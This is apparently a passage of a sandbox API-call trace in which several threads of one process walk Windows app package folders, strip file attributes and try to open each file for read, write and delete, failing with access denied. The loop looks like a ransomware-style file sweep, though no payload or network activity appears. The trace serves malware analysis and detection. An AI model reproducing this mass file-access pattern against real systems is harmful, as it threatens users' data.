	[0082.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4716368 | out: lpFindFileData=0x4716368*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb932fcac, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfe80d855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe80d855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6b90
	[0082.223] wcscmp (_String1=".", _String2=".") returned 0
	[0082.223] FindNextFileW (in: hFindFile=0x46a6b90, lpFindFileData=0x4716368 | out: lpFindFileData=0x4716368*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb932fcac, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfe80d855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe80d855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.223] wcscmp (_String1="..", _String2=".") returned 1
	[0082.223] wcscmp (_String1="..", _String2="..") returned 0
	[0082.223] FindNextFileW (in: hFindFile=0x46a6b90, lpFindFileData=0x4716368 | out: lpFindFileData=0x4716368*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd931350c, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd931350c, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd935f9a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x3eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources. 20a37ca.pri", cAlternateFileName="RESOUR~1.PRI")) returned 1
	[0082.223] wcscmp (_String1="resources. 20a37ca.pri", _String2=".") returned 1
	[0082.223] wcscmp (_String1="resources. 20a37ca.pri", _String2="..") returned 1
	[0082.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x4f55650
	[0082.223] wcscpy (in: _Dest=0x4f55650, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.223] wcscat (in: _Dest=0x4f55650, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.223] wcscat (in: _Dest=0x4f55650, _Source="resources. 20a37ca.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources. 20a37ca.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources. 20a37ca.pri"
	[0090.779] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources. 20a37ca.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources. 20a37ca.pri")) returned 0x2020
	[0090.779] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources. 20a37ca.pri", dwFileAttributes=0x20) returned 0
	[0090.780] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources. 20a37ca.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources. 20a37ca.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.780] GetLastError () returned 0x5
	[0090.780] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources. 20a37ca.pri", dwFileAttributes=0x2020) returned 0
	[0090.780] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f55650) returned 1
	[0090.780] FindNextFileW (in: hFindFile=0x46a6b90, lpFindFileData=0x4716368 | out: lpFindFileData=0x4716368*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd931350c, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd931350c, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd935f9a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x3eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri", cAlternateFileName="")) returned 1
	[0090.780] wcscmp (_String1="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri", _String2=".") returned 1
	[0090.780] wcscmp (_String1="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri", _String2="..") returned 1
	[0090.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x180) returned 0x2d883a8
	[0090.780] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.780] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.780] wcscat (in: _Dest=0x2d883a8, _Source="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri"
	[0090.780] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\s-1-5-21-1051304884-625712362-2192934891-1000-mergedresources-0.pri")) returned 0x2020
	[0090.780] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri", dwFileAttributes=0x20) returned 0
	[0090.780] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\s-1-5-21-1051304884-625712362-2192934891-1000-mergedresources-0.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.781] GetLastError () returned 0x5
	[0090.781] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri", dwFileAttributes=0x2020) returned 0
	[0090.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.781] FindNextFileW (in: hFindFile=0x46a6b90, lpFindFileData=0x4716368 | out: lpFindFileData=0x4716368*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd931350c, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd931350c, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd935f9a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x3eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri", cAlternateFileName="")) returned 0
	[0090.781] FindClose (in: hFindFile=0x46a6b90 | out: hFindFile=0x46a6b90) returned 1
	[0090.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716368) returned 1
	[0090.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cc980) returned 1
	[0090.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765610) returned 1

Thread:
	id = 910
	os_tid = 0x758

	[0082.224] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0082.225] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.225] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.225] GetLastError () returned 0x5
	[0082.225] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.225] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477da48) returned 1

Thread:
	id = 911
	os_tid = 0xdcc

	[0082.226] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.227] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.228] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.230] GetLastError () returned 0x5
	[0082.230] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768458) returned 1

Thread:
	id = 912
	os_tid = 0xea4

	[0082.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e328b0
	[0082.232] wcscpy (in: _Dest=0x4e328b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.232] wcscat (in: _Dest=0x4e328b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.232] wcscat (in: _Dest=0x4e328b0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47165d0
	[0082.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x47165d0 | out: lpFindFileData=0x47165d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c3b24a6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab4afc0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c3b24a6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6bd0
	[0082.233] wcscmp (_String1=".", _String2=".") returned 0
	[0082.233] FindNextFileW (in: hFindFile=0x46a6bd0, lpFindFileData=0x47165d0 | out: lpFindFileData=0x47165d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c3b24a6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab4afc0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c3b24a6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.233] wcscmp (_String1="..", _String2=".") returned 1
	[0082.233] wcscmp (_String1="..", _String2="..") returned 0
	[0082.233] FindNextFileW (in: hFindFile=0x46a6bd0, lpFindFileData=0x47165d0 | out: lpFindFileData=0x47165d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c3b24a6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c3b24a6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c3b24a6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4097, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.233] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.234] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.234] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x4716bf8
	[0082.234] wcscpy (in: _Dest=0x4716bf8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.234] wcscat (in: _Dest=0x4716bf8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.234] wcscat (in: _Dest=0x4716bf8, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.775] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.775] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.775] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.775] GetLastError () returned 0x5
	[0090.775] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.775] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716bf8) returned 1
	[0090.775] FindNextFileW (in: hFindFile=0x46a6bd0, lpFindFileData=0x47165d0 | out: lpFindFileData=0x47165d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c3b24a6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c3b24a6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c3b24a6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4097, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.775] FindClose (in: hFindFile=0x46a6bd0 | out: hFindFile=0x46a6bd0) returned 1
	[0090.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47165d0) returned 1
	[0090.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e328b0) returned 1
	[0090.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f290) returned 1

Thread:
	id = 913
	os_tid = 0xe84

	[0082.234] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.235] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.235] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.235] GetLastError () returned 0x5
	[0082.235] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.235] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ebbb8) returned 1

Thread:
	id = 914
	os_tid = 0x7dc

	[0082.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x4716e28
	[0082.236] wcscpy (in: _Dest=0x4716e28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.236] wcscat (in: _Dest=0x4716e28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.236] wcscat (in: _Dest=0x4716e28, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47135b0
	[0082.236] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb932fcac, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6c10
	[0082.237] wcscmp (_String1=".", _String2=".") returned 0
	[0082.237] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb932fcac, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.237] wcscmp (_String1="..", _String2=".") returned 1
	[0082.237] wcscmp (_String1="..", _String2="..") returned 0
	[0082.237] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb932fcac, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.237] FindClose (in: hFindFile=0x46a6c10 | out: hFindFile=0x46a6c10) returned 1
	[0082.237] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47135b0) returned 1
	[0082.237] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716e28) returned 1
	[0082.237] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d894a8) returned 1

Thread:
	id = 915
	os_tid = 0x908

	[0082.238] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.241] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.243] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.244] GetLastError () returned 0x5
	[0082.244] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1

Thread:
	id = 916
	os_tid = 0x98c

